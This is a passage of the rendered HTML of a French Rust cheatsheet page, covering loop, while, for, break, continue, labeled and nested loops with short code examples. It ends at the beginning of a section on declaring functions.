keyword" style="color:#00009f">break</span><span class="token plain"> compteur </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// La boucle "rend" cette valeur</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Résultat : {}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> resultat</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// 20</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-boucle-while">La boucle <code>while</code><a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#la-boucle-while" class="hash-link" aria-label="Lien direct vers la-boucle-while" title="Lien direct vers la-boucle-while" translate="no">​</a></h3>
<p>La boucle <code>while</code> exécute un bloc de code tant qu'une condition est vraie.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Structure de la boucle while</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> condition </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// code à répéter</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle while comptant de 1 à 5</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> count </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> count </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> count</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    count </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Pas de do-while ?</div><div class="admonitionContent_BuS1"><p>Rust n'a pas de boucle <code>do-while</code> native. On la simule avec une boucle <code>loop</code> et un <code>break</code> conditionnel à la fin :</p><div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">loop</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// code à exécuter au moins une fois</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token plain">condition </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">break</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-boucle-for">La boucle <code>for</code><a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#la-boucle-for" class="hash-link" aria-label="Lien direct vers la-boucle-for" title="Lien direct vers la-boucle-for" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>[Warning variable inutilisée dans le compilateur]</div><div class="admonitionContent_BuS1"><p>Il est possible que dans l'utilisation de la boucle for, qu'une des variables que vous initialisez une variable dans votre boucle qui ne sera plus utilisée.
Le compilateur vous mettra un warning qu'une variable a été inutilisée.
Pour que cette erreur ne s'affiche pas, déclarez la variable avec un <code>_</code> directement dans la boucle :</p><div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> _i </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">..</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token punctuation" style="color:#393A34">...</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div></div></div>
<p>C'est la plus utilisée en Rust. Elle itère sur un <strong>itérateur</strong> (un tableau, un intervalle, une collection…).</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle for sur un intervalle</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">..=</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Affiche : 1 2 3 4 5</span><br></div></code></pre></div></div>
<ul>
<li class=""><code>1..5</code> — intervalle exclusif (1, 2, 3, 4)</li>
<li class=""><code>1..=5</code> — intervalle inclusif (1, 2, 3, 4, 5)</li>
</ul>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle for sur un tableau</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nombres </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> n </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> nombres </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> n</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Si on a besoin de l'index, on utilise <code>enumerate</code> :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">for avec index</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> mots </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"world"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"rust"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">index</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> mot</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> mots</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">iter</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">enumerate</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} : {}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> index</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> mot</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Pourquoi for est plus sûr</div><div class="admonitionContent_BuS1"><p>Contrairement au C, on ne risque pas de dépasser la taille du tableau : l'itérateur s'arrête tout seul. Plus de <code>i &lt; taille</code> à gérer à la main.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="instruction-break">Instruction <code>break</code><a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#instruction-break" class="hash-link" aria-label="Lien direct vers instruction-break" title="Lien direct vers instruction-break" translate="no">​</a></h3>
<p>Identique au C : elle arrête immédiatement la boucle.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de break</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">..</span><span class="token number" style="color:#36acaa">10</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">6</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">break</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Affiche : 0 1 2 3 4 5</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="instruction-continue">Instruction <code>continue</code><a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#instruction-continue" class="hash-link" aria-label="Lien direct vers instruction-continue" title="Lien direct vers instruction-continue" translate="no">​</a></h3>
<p>Identique au C : elle saute à l'itération suivante.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de continue</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">..</span><span class="token number" style="color:#36acaa">9</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">continue</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Affiche : 3 4 6 7 8</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="boucles-étiquetées">Boucles étiquetées<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#boucles-%C3%A9tiquet%C3%A9es" class="hash-link" aria-label="Lien direct vers Boucles étiquetées" title="Lien direct vers Boucles étiquetées" translate="no">​</a></h3>
<p>Spécificité bien pratique de Rust : on peut nommer une boucle et faire un <code>break</code> ou <code>continue</code> ciblé. Très utile pour sortir d'une boucle imbriquée d'un coup.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle étiquetée</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token lifetime-annotation symbol" style="color:#36acaa">'externe</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">..</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> j </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">..</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> j </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">6</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token keyword" style="color:#00009f">break</span><span class="token plain"> </span><span class="token lifetime-annotation symbol" style="color:#36acaa">'externe</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Sort directement de la boucle externe</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"({},{}) "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> j</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="boucles-imbriquées">Boucles imbriquées<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#boucles-imbriqu%C3%A9es" class="hash-link" aria-label="Lien direct vers Boucles imbriquées" title="Lien direct vers Boucles imbriquées" translate="no">​</a></h3>
<p>Comme en C, on peut imbriquer des boucles. Pour chaque itération de la boucle externe, la boucle interne s'exécute entièrement.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de boucle imbriquée</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">..</span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> j </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">..</span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{},{} "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> j</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">0,0 0,1 0,2 </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">1,0 1,1 1,2 </span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-fonctions">Les fonctions<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-fonctions" class="hash-link" aria-label="Lien direct vers Les fonctions" title="Lien direct vers Les fonctions" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclarer-une-fonction">Déclarer une fonction<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#d%C3%A9clarer-une-fonction" class="hash-link" aria-label="Lien direct vers Déclarer une fonction" title="Lien direct vers Déclarer une fonction" translate="no">​</a></h3>
<p>En Rust, une fonction est déclarée avec le mot-clé <code>fn</code>. Par convention, on utilise le <code>snake_case</code> pour les noms de fonctions.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Structure d'une fonction</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">nom_de_fonction</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">parametre1</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token class-name">Type1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> parametre2</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token class-name">Type2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">-&gt;</span><span class="token plain"> </span><span class="token class-name">TypeRetour</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// corps de la fonction</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
